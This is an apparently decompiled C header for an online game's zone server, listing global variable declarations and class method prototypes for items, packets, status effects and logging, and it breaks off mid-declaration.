unsigned int _S3_51; extern CharModeClassifier stru_130DF9F0; extern unsigned int _S3_52; extern UpgradeDataBox upgradedatabox; // idb extern unsigned int _S118_0; extern UseEffect::UseItemRecallScroll ui_recallscroll; // idb extern UseEffect::UseItemBase ui_silverwing; // idb extern UseEffect::UseItemNormal ui_Roar; // idb extern UseEffect::UseItemBase ui_chargedbuff; // idb extern UseEffect::UseItemFurnitureEndureKit ui_FurnitureEndureKit; // idb extern UseEffect::UseItemBase ui_minihousefurniture; // idb extern UseEffect::UseItemNormal ui_SparrowWingStone; // idb extern UseEffect::UseItemByTable ui_bytable; // idb extern UseEffect::UseItemNoEffect ui_NoEffect; // idb extern UseEffect::UseItemItemPackage ui_itempackage; // idb extern UseEffect::UseItemSkillScroll ui_skillscroll; // idb extern UseEffect::UseItemFire ui_Fire; // idb extern UseEffect::UseItemAmountSP ui_amountsp; // idb extern UseEffect::UseItemNormal ui_SkillErase; // idb extern UseEffect::UseItemBase ui_minihouse; // idb extern UseEffect::UseItemAmountHPSP ui_amounthpsp; // idb extern UseEffect::UseItemBase ui_chestopen; // idb extern UseEffect::UseItemNormal ui_GuildReType; // idb extern UseEffect::UseItemLicenseClear ui_LicenceClear; // idb extern UseEffect::UseItemBase ui_mysterybolt; // idb extern UseEffect::UseItemGBCoin ui_GBCoin; // idb extern UseEffect::UseItemActionItem ui_actionitem; // idb extern UseEffect::UseItemStatClear ui_StatClearEmpow; // idb extern UseEffect::UseItemNormal ui_JustRevive; // idb extern UseEffect::UseItemStatClear ui_StatClearStat; // idb extern UseEffect::UseItemBase ui_ride; // idb extern UseEffect::UsedItemEffect useditemeffect; // idb extern UseEffect::UseItemNormal ui_GuildReName; // idb extern UseEffect::UseItemPropose ui_Propose; // idb extern UseEffect::UseItemAmountHP ui_amounthp; // idb extern UseEffect::UseItemBossMobDetect ui_BossMobDetect; // idb extern UseEffect::UseItemBase ui_horsefood; // idb extern UseEffect::UseItemCapsule ui_Capsule; // idb extern UseEffect::UseItemMemoryFeather ui_MemoryFeather; // idb extern UseEffect::UseItemBase ui_dummy2real; // idb extern UseEffect::UseItemImmediateDivorce ui_ImmediateDivorce; // idb extern CharModeClassifier stru_130DFC38; extern unsigned int _S5_65; extern CharModeClassifier stru_130DFC40; extern unsigned int _S8_17; extern CharModeClassifier stru_130DFC48; extern unsigned int _S10_35; extern CharModeClassifier stru_130DFC50; extern unsigned int _S12_7; extern WeddingHall weddinghall; // idb extern _UNKNOWN unk_130DFC59; // weak extern ShineDateTime stru_130DFC5C; // idb extern ShineDateTime Rhs; // idb extern unsigned int unk_130DFC6C; // idb extern unsigned int unk_130DFC80; // idb extern ZoneRingPacketItemBonus zonringpack_itembonus; // idb extern ZoneRingPacketExpBonus zonringpack_expbonus; // idb extern ZoneRingPacketFindInstanceDungeon zonringpack_findinstancedungeon; // idb extern ZoneRingPacketFindPlayerByNormalUser zonringpack_findplayerbynormaluser; // idb extern ZoneRingPacketSummonPartner zonringpack_summonpartner; // idb extern ZoneRingPacketRefreshWeddingInfo zonringpack_refresh_weddinginfo; // idb extern ZoneRingPacketSummonPlayer zonringpack_summonplayer; // idb extern ZoneRingPacketEmtpyInstanceDungeon zonringpack_emptyinstancedungeon; // idb extern ZoneRingPacketKickPlayerOut zonringpack_kickplayerout; // idb extern ZoneRingPacketFindPlayer zonringpack_findplayer; // idb extern ZoneIPContainer zipc; // idb extern char erasefile[16384]; extern ZoneServer *g_ZoneServer; extern int erasenum; extern CDataReader gClassName; // idb extern CDataReader gMapLinkPoint; // idb extern CDataReader gGBDiceGame; // idb extern CDataReader gItemUpgrade; // idb extern CDataReader gAuctionCost; // idb extern CDataReader gAuctionPeriod; // idb extern CDataReader gAuctionLimit; // idb extern CDataReader gGBJoinGameMember; // idb extern CDataReader gMiniHouseDiecGame; // idb extern CDataReader gMiniHouseDiceRate; // idb extern CDataReader gMiniHouseDiceDividind; // idb extern DiceTaiSai gMiniHouseDiceTaiSai; // idb extern CDataReader gMiniHouseObjEffect; // idb extern CQuestData gQuestData; // idb extern CCharacterTitleDataStateServer gCharacterTitleDataStateServer; // idb extern std::_Tree,std::allocator,0> > globalset; // idb extern CDataReader gGambleHouse; // idb extern CGuildZone gGuild; // idb extern CDataReader gItemDismantle; // idb extern CCharacterTitleData gCharacterTitleData; // idb extern CDataReader gMapWayPoint; // idb extern CDataReader gGBDiceRate; // idb extern CWeaponTitleZone gWeaponTitle; // idb extern CDataReader gPVPNoAttack; // idb extern DiceTaiSai gGBDiceTaiSai; // idb extern CDataReader gActionViewInfo; // idb extern CDataReader gGambleExchangeMaxCoin; // idb extern CDataReader gAdminLvSet; // idb extern CAnnounceSystem gAnnounceSystem; // idb extern DiceTaiSaiDividind gGBDiceTaiSaiDividind; // idb extern CDataReader gNpcSchedule; // idb extern DiceTaiSaiDividind gMiniHouseDiceTaiSaiDividind; // idb extern CDataReader gGBDiceDividind; // idb extern CDataReader gReactionType; // idb extern int Singleton::selfInstance; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern unsigned int _S247; extern unsigned int _S249; extern unsigned int _S251; extern unsigned int _S253; extern unsigned int _S255; extern unsigned int _S257; extern unsigned int _S259; extern unsigned int _S261; extern unsigned int _S263; extern unsigned int _S265; extern unsigned int _S267; extern unsigned int _S269; extern unsigned int _S271; extern unsigned int _S273; extern unsigned int _S275; extern unsigned int _S277; extern unsigned int _S279; extern unsigned int _S281; extern unsigned int _S283; extern unsigned int _S285; extern unsigned int _S287; extern unsigned int _S289; extern unsigned int _S291; extern unsigned int _S293; extern unsigned int _S295; extern unsigned int _S297; extern unsigned int _S299; extern EventHeartPing eventheartping; // idb extern ZoneConnectSession zoneconnect; // idb extern _UNKNOWN unk_131DB52C; // weak extern _UNKNOWN unk_131DB54C; // weak extern CSocket_IOCP stru_131DB554; // idb extern DebugLogging ShineNetCommandLog; // idb extern MobDataBox mobdatabox; // idb extern List zonevent; // idb extern MapDataBox mapdatabox; // idb extern ClockWatch clockwatch; // idb extern EventMobRegen eventmobregen; // idb extern DebugLogging GuildTournamentLog; // idb extern DebugLogging ShineBriefInfoErrorLog; // idb extern DebugLineFeed deb_LF; // idb extern DebugLogging KQLogoutLog; // idb extern DebugLogging SocketMultiplicateLog; // idb extern SocketBundle sock2gameDB; // idb extern DebugLogging ChargedItemLog; // idb extern DebugLogging BalanceLog; // idb extern DebugLogging LockIndexLog; // idb extern SocketBundle sock2wldman; // idb extern WorldManagerSession stru_131DDCE4; // idb extern _UNKNOWN unk_131DE108; // weak extern _UNKNOWN DebugMessage; // weak extern int dword_131DE210; // weak extern char byte_131DE394; // weak extern DebugLogging InnerMiniHouseLog; // idb extern DebugLogging NormalLogOutLog; // idb extern ItemDataBox itemdatabox; // idb extern unsigned __int16 word_131DE8B4[2]; // idb extern BTree stru_131DE8B8; // idb extern BinaryDataBox stru_131DECBC; // idb extern _UNKNOWN unk_131DF0C4; // weak extern _UNKNOWN unk_131DF0C8; // weak extern _UNKNOWN unk_131DF0CC; // weak extern unsigned __int16 chest; // idb extern unsigned __int16 ident; // idb extern _UNKNOWN unk_131DF0D8; // weak extern _UNKNOWN unk_131DF0DA; // weak extern _UNKNOWN unk_131DF0EC; // weak extern _UNKNOWN unk_131DF0EE; // weak extern _UNKNOWN unk_131DF0F0; // weak extern _UNKNOWN unk_131DF0F8; // weak extern _UNKNOWN unk_131DF0FA; // weak extern _UNKNOWN unk_131DF0FC; // weak extern _UNKNOWN unk_131DF0FE; // weak extern unsigned __int16 word_131DF100; // idb extern _UNKNOWN unk_131DF102; // weak extern _UNKNOWN unk_131DF10A; // weak extern _UNKNOWN unk_131DF10C; // weak extern _UNKNOWN unk_131DF10E; // weak extern DebugLogging MoreDisconnectLog; // idb extern DebugLogging ShineObjectHandleLog; // idb extern _UNKNOWN mobhat; // weak extern _UNKNOWN unk_13E22CBD; // weak extern DebugLogging ShineClassChangeLog; // idb extern SocketBundle sock2gamelog; // idb extern DebugLogging KQLogging; // idb extern ZoneServer zoneserver; // idb extern CServerInfo stru_14B97FD8; // idb extern int unk_14B984DC; // idb extern int unk_14B984E0; // idb extern Name4 world; // idb extern char dashtoken[20]; // idb extern std::_Tree >,std::less,std::allocator > > > triggerDic; // idb extern int dword_14BA180C; // weak extern NPCAction::Manager conditionManager; // idb extern NPCAction::Manager actionManager; // idb extern int GTIGetRateTable::AllProbability[]; // weak extern int dword_14BA1838; // weak extern int dword_14BA183C; // weak extern int dword_14BA1840; // weak extern int dword_14BA1844; // weak extern int dword_14BA1848; // weak extern std::map >,std::less,std::allocator > > > > GuildTournamentLvGapTable::sm_mapBalanceDatas; // idb extern EnchantSocketRateTable::EnchantSocketRateDataChild RateDataProcess; extern unsigned int _S4_1; extern std::_Tree,std::allocator >,1> > ActionEffectItemTable::_actions; // idb extern std::_Tree,std::allocator >,1> > MysteryVaultTable::sm_ItemLists; // idb extern StaticVector pointlist; extern unsigned int _S4_2; extern std::vector > waitlist; // idb extern CharModeClassifier stru_14BA189C; extern unsigned int _S5_66; extern RaidSystem raid; extern unsigned int _S5_67; extern std::_Tree,std::allocator >,0> > ActionRangeFactors::_rangeFactors; // idb extern std::_Tree,std::allocator >,0> > ItemActionConditions::_conditions; // idb extern std::_Tree,std::allocator >,0> > ItemActionEffects::_effects; // idb extern ItemActionObserveBuffer ObBuffer; extern unsigned int _S5_68; extern std::_Tree,std::allocator >,0> > ItemActions::_actions; // idb extern BossFieldContent::ListOfMobStateCheckAtDead BossFieldContent::g_ListOfMobStateCheckAtDead; // idb extern BossFieldContent::ServentBuffBossTable BossFieldContent::g_ServentBuffBossTable; // idb extern BossFieldContent::MobAutomaticActionList BossFieldContent::g_MobAutomaticActionList; // idb extern struct LuaArgument g_LuaArgument; // weak extern int dword_14BC43EC; // weak extern int dword_14BC43F0; // weak extern int dword_14BC43F4; // weak extern int dword_14BC43F8; // weak extern int dword_14BC43FC; // weak extern _UNKNOWN LuaScriptScenario::ls_Pointer; // weak extern LuaScript g_LUA_SCRIPT_SECURITY; // idb extern char SendLogPacketBuffer[1024]; extern int dword_14BC450E; // weak extern int dword_14BC4512; // weak extern int dword_14BC4516; // weak extern int dword_14BC451A; // weak extern int dword_14BC451E; // weak extern int dword_14BC4522; // weak extern int dword_14BC4526; // weak extern int dword_14BC452A; // weak extern int dword_14BC452E; // weak extern int dword_14BC4532; // weak extern int dword_14BC4536; // weak extern int dword_14BC453A; // weak extern int dword_14BC453E; // weak extern int dword_14BC4542; // weak extern int dword_14BC4546; // weak extern ProtocolPacket SendLogPacket; extern unsigned int _S35_4; extern char SendLogPacketBuffer_0[1024]; extern int dword_14BC491E; // weak extern int dword_14BC4922; // weak extern int dword_14BC4926; // weak extern int dword_14BC492A; // weak extern int dword_14BC492E; // weak extern int dword_14BC4932; // weak extern int dword_14BC4936; // weak extern int dword_14BC493A; // weak extern int dword_14BC493E; // weak extern int dword_14BC4942; // weak extern int dword_14BC4946; // weak extern int dword_14BC494A; // weak extern int dword_14BC494E; // weak extern int dword_14BC4952; // weak extern ProtocolPacket SendLogPacket_0; extern unsigned int _S37_5; extern SHND::CommonData SHND::g_EventCode; // idb extern SHND::CommonData SHND::g_GBReward; // idb extern SHND::CommonData > SHND::g_TaxRate; // idb extern SHND::CommonData SHND::g_BanTime; // idb extern CGambleObjectManager gGambleObjectManager; // idb extern CharModeClassifier stru_14BC4F2C; extern unsigned int _S5_69; extern CharModeClassifier stru_14BC4F34; extern unsigned int _S7_57; extern CharModeClassifier stru_14BC4F3C; extern unsigned int _S9_21; extern CharModeClassifier stru_14BC4F44; extern unsigned int _S11_24; extern char tmp[10]; extern std::vector > wincollect; extern std::vector >::iterator First; // idb extern std::vector >::iterator Last; // idb extern _UNKNOWN unk_14BC4F64; // weak extern unsigned int _S12_8; extern SlotMachine::SlotMachineAnalyse g_SlotMachineAnalyse; // idb extern SlotMachine::SlotMachineJackPotRanking g_SlotMachineJackPotRanking; // idb extern SlotMachine::SlotMachineScreenManager g_SlotMachineScreenManager; // idb extern std::map,std::allocator > > g_AIScriptContainer; // idb extern RandomBox rndbox; // idb extern CParty *RaidSystem::sm_pPartyData; // idb extern CWeaponTitle *weapontitle; // idb extern ItemAttributeClassContainer itmattcontainer; // idb extern int nullstr; extern unsigned __int16 serial; extern ItemBelongAttribute g_ItmBelongAttr; // idb extern CharacterInventoryManager charinvenman; extern _UNKNOWN ItemActionItemBox::iaib_Default; // weak extern __int16 word_14F0DA14; // weak extern int dword_14F0DA1C; // weak extern MobResistTable mobresisttable; // idb extern CParty::PARTY_SLOT CParty::p_def; // idb extern char OptionReader::or_Exchange[]; // idb extern int dword_14F0DB68; // weak extern int dword_14F0DB6C; // weak extern int dword_14F0DB70; // weak extern int dword_14F0DB74; // weak extern char ORTable::ort_Index[]; // idb extern int dword_14F0DB7C; // weak extern int dword_14F0DB80; // weak extern int dword_14F0DB84; // weak extern int dword_14F0DB88; // weak extern char OptionReader::or_Brace[]; // idb extern int dword_14F0DB90; // weak extern int dword_14F0DB94; // weak extern int dword_14F0DB98; // weak extern int dword_14F0DB9C; // weak extern char OptionReader::or_Delimiter[]; // idb extern int dword_14F0DBA4; // weak extern int dword_14F0DBA8; // weak extern int dword_14F0DBAC; // weak extern int dword_14F0DBB0; // weak extern char ORTable::ort_Dword[]; // idb extern int dword_14F0DBB8; // weak extern int dword_14F0DBBC; // weak extern int dword_14F0DBC0; // weak extern int dword_14F0DBC4; // weak extern char ORTable::ort_String[]; // idb extern int dword_14F0DBCC; // weak extern int dword_14F0DBD0; // weak extern int dword_14F0DBD4; // weak extern int dword_14F0DBD8; // weak extern char ORTable::ort_Dwrd[]; // idb extern int dword_14F0DBE0; // weak extern int dword_14F0DBE4; // weak extern int dword_14F0DBE8; // weak extern int dword_14F0DBEC; // weak extern char ORTable::ort_Byte[]; // idb extern int dword_14F0DBF4; // weak extern int dword_14F0DBF8; // weak extern int dword_14F0DBFC; // weak extern int dword_14F0DC00; // weak extern ORToken OptionReader::or_ColumnType; // idb extern ORToken OptionReader::or_Record; // idb extern ORToken OptionReader::or_ColumnName; // idb extern char OptionReader::or_Ignore[]; // idb extern int dword_14F0DC44; // weak extern int dword_14F0DC48; // weak extern int dword_14F0DC4C; // weak extern int dword_14F0DC50; // weak extern char ORTable::ort_Word[]; // idb extern int dword_14F0DC58; // weak extern int dword_14F0DC5C; // weak extern int dword_14F0DC60; // weak extern int dword_14F0DC64; // weak extern char OptionReader::or_End[]; // idb extern int dword_14F0DC6C; // weak extern int dword_14F0DC70; // weak extern int dword_14F0DC74; // weak extern int dword_14F0DC78; // weak extern ORToken OptionReader::or_Table; // idb extern ORToken OptionReader::or_RecordIn; // idb extern char OptionReader::or_CommentMark[]; // idb extern int dword_14F0DCA8; // weak extern int dword_14F0DCAC; // weak extern int dword_14F0DCB0; // weak extern int dword_14F0DCB4; // weak extern ShineScript shinescriptmenusting; // idb extern ShineScript shinescriptetc; // idb extern KQScriptManager kqscriptmanager; // idb extern int (*MiniDumper::FuncForStack)(void); // weak extern int EnchantSocketRateData::sm_pSocketRateData; // weak extern ItemOptionsData itemoptiondata; // idb extern _UNKNOWN unk_153506B0; // weak extern _UNKNOWN unk_153506BC; // weak extern RewardData rewarddata; // idb extern unsigned __int16 gDebugMessageCounter; // weak extern char ErrorMessage[1024]; extern char sCurrentDateTime[128]; extern char sCurrentDateTime_0[128]; extern int _Stinit; // weak extern int std::_Facetptr>::_Psave; // weak extern char s_szBuff[2048]; extern char s_stSymbol[1024]; extern char s_szFName[2048]; extern _IMAGEHLP_LINE64 s_stLine; extern _CONTEXT s_stContext; extern _tagSTACKFRAME64 s_stFrame; extern int s_bSymEngInit; extern volatile LONG CIOBuffer::s_nCount; // idb extern volatile LONG CIOBuffer::s_nAlloc; // idb extern int g_nFreeBuffer; extern CIOBuffer::CSlot g_slotBuffer[16]; extern _UNKNOWN IOBufferList; // weak extern _UNKNOWN unk_1535735C; // weak extern _UNKNOWN CToken::m_NULLstr; // weak extern int std::_Facetptr>>>::_Psave; // weak extern unsigned int std::num_get>>::id; // idb extern char szCTNull; extern char szCTNone[3]; extern CShnDataFileCheckSum ShnDataFile; // idb extern char ShineObjectHandleUnion::sohu_Index[]; // weak extern CPvPIdentify g_PvPIdentify; // idb extern char NULLSTR[4]; extern std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st CQuestParserScript::m_MapConvertIndexNames; // idb extern int dword_1535F3E4; // weak extern int dword_1535F3E8; // weak extern std::_Init_locks initlocks; extern std::locale::_Locimp *global_locale; extern int std::locale::id::_Id_cnt; // weak extern std::locale classic_locale; extern unsigned int std::ctype::id; // idb extern bool registered; extern __int64 std::_Fpz; // weak extern std::bad_alloc nomem; extern void (__cdecl *atfuns[10])(); extern std::_Init_locks initlocks_0; extern _Init_atexit init_atexit; extern int _adjust_fdiv; // weak extern unsigned int _osver; extern LPVOID _environ; // idb extern int __initenv; // weak extern LPVOID _wenviron; // idb extern tagLC_ID cacheid; extern unsigned int cachecp; extern int __error_mode; // weak extern int f_use_0; extern void (__cdecl *user_handler)(int, void *); extern LPTOP_LEVEL_EXCEPTION_FILTER pOldExceptFilter; extern int fSystemSet; extern int _newmode; // idb extern int iLcidState; extern unsigned int lcidLanguage; extern unsigned int lcidCountry; extern int bAbbrevLanguage; extern int bAbbrevCountry; extern char *pchCountry; extern int iPrimaryLen; extern char *pchLanguage; extern int (__stdcall *pfnGetLocaleInfoA)(unsigned int, unsigned int, char *, int); extern int __lc_handle[]; // weak extern LCID dword_1535F97C; // idb extern UINT __lc_codepage; // idb extern int __lc_collate_cp; // weak extern __int16 word_1535F9A4; // weak extern int f_use_2; extern wchar_t wcbuffer[4]; extern int (__stdcall *_crtInitCritSecAndSpinCount)(_RTL_CRITICAL_SECTION *, unsigned int); extern UINT _nhandle; // idb extern int __pioinfo[]; // weak extern int __use_sse2_mathfcns; // weak extern int __sse2_available; // weak extern int __sbh_threshold; // weak extern HANDLE _crtheap; // idb extern int __active_heap; // weak extern LCID __mblcid; // idb extern int __ismbcodepage; // weak extern unsigned __int8 _mbctype[]; extern char byte_1535FC61[]; // weak extern UINT __mbcodepage; // idb extern __int16 __mbulinfo; // weak extern unsigned __int8 _mbcasemap[]; extern int __ctype1; // weak extern int __ctype1_refcount; // weak extern int __setlc_active; // weak extern _UNKNOWN __unguarded_readlc_active; // weak //------------------------------------------------------------------------- // Function declarations #define __thiscall __cdecl // Test compile in C mode int __thiscall Name3::operator__(Name3 *this, Name3 *nm); int __thiscall Name4::operator_(int this, int a2); int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag); int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag1, int flag2); char *__thiscall NameString::operator__(NameString *this, Name4 *a); void __thiscall Metronome::m_SetInterval(Metronome *this, unsigned int start, unsigned int millisecond_tick); char __thiscall Metronome::operator unsigned_char(Metronome *this); int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(AbnormalStateContainer::AbstateElementInObject *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::ase_Terminate(AbnormalStateContainer::AbstateElementInObject *this); AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexArgument(AbnormalStateContainer::AbstateElementInObject *this); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexStrength(AbnormalStateContainer::AbstateElementInObject *this); char *__thiscall LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(ORErrorMessage *this); List *__thiscall AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(AbnormalStateContainer::AbstateListInObject *this); NETCOMMAND *__thiscall ProtocolPacket::pp_NetCommand(ProtocolPacket *this, int dep, int cmd); unsigned __int16 __thiscall RandomBox::operator__(RandomBox *this, unsigned int limit); unsigned __int16 __thiscall RandomBox::rb_1000(RandomBox *this); unsigned int __thiscall DirectDistanceTable::ddt_Distance(DirectDistanceTable *this, int dx, int dy); char __thiscall DirectDistanceTable::ddt_DirectSR(DirectDistanceTable *this, int dx, int dy); int __thiscall ShineObjectClass::ShineObject::so_mob_LastHittedLocation(int this); int __thiscall ShineObjectClass::ShineObject::so_GetXCoord(int this); int __thiscall ShineObjectClass::ShineObject::so_GetYCoord(int this); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int x, int y); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int loc); int __thiscall ShineObjectClass::ShineObject::so_CurMapname(int this); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromID(AbnormalStateDictionary::AbState *this, unsigned __int16 sklid); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromIndex(AbnormalStateDictionary::AbState *this, ABSTATEINDEX sklindex); void __thiscall AxialListNearScan::alns_Sort(AxialListNearScan *this); void __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(AbnormalStateContainer::SubAbnormalStateCaptivate *this); int __thiscall AbnormalStateContainer::AbnormalStateElement::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateElement *this); int __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this); void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this); void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::_AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this); void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_IndexString(AbnormalStateContainer::AbnormalStateElement *this); char *__thiscall AbnormalStateContainer::AbnormalStateElementNormal::ase_IndexString(AbnormalStateContainer::AbnormalStateElementNormal *this); char *__thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStatePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_IndexString(AbnormalStateContainer::AbnormalStateElementRecover *this); char *__thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_IndexString(AbnormalStateContainer::AbnormalStateReinforcedMove *this); char *__thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_IndexString(AbnormalStateContainer::AbnormalStateRestCount *this); char *__thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateTickRoutine *this); char *__thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateEachTickRoutine *this); char *__thiscall AbnormalStateContainer::AbnormalStateHide::ase_IndexString(AbnormalStateContainer::AbnormalStateHide *this); char *__thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_IndexString(AbnormalStateContainer::AbnormalStatePolymorph *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActor *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateMaxHP *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateFear *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateCaptivate *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPoison *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorDisease *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorShield *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorManaShield *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilence *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilencetoone::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilencetoone *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorBomb::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorBomb *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorUseSPDown::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorUseSPDown *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorMagicField::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorMagicField *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHideDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHideDamage *this); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_This(AbnormalStateContainer::AbnormalStateElement *this); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateList::operator__(AbnormalStateContainer::AbnormalStateList *this, int num); void __thiscall AxialListNearScanParty::AxialListNearScanParty(AxialListNearScanParty *this, unsigned __int16 partyregnum); void __thiscall AxialListNearScanParty::_AxialListNearScanParty(AxialListNearScanParty *this); char __thiscall AxialListNearScanParty::alns_ValidObject(AxialListNearScanParty *this, #593 *obj); void __thiscall AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this); void __thiscall AxialListNearScanCoupleParty::AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this, unsigned __int16 partyregnum, unsigned int PartnerRegnum); char __thiscall AxialListNearScanCoupleParty::alns_ValidObject(AxialListNearScanCoupleParty *this, #593 *obj); void __thiscall AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy(AxialListNearScanGuildAcademy *this); char __thiscall AxialListNearScanGuildAcademy::alns_ValidObject(AxialListNearScanGuildAcademy *this, #593 *obj); void __thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_AfterEnchant(AbnormalStateContainer::SubAbnormalStateMaxHP *this, #593 *body); int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitSet(void *this, signed int abstate); int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitReset(void *this, signed int abstate); int __thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_MaxRestCount(AbnormalStateContainer::AbnormalStateRestCount *this, 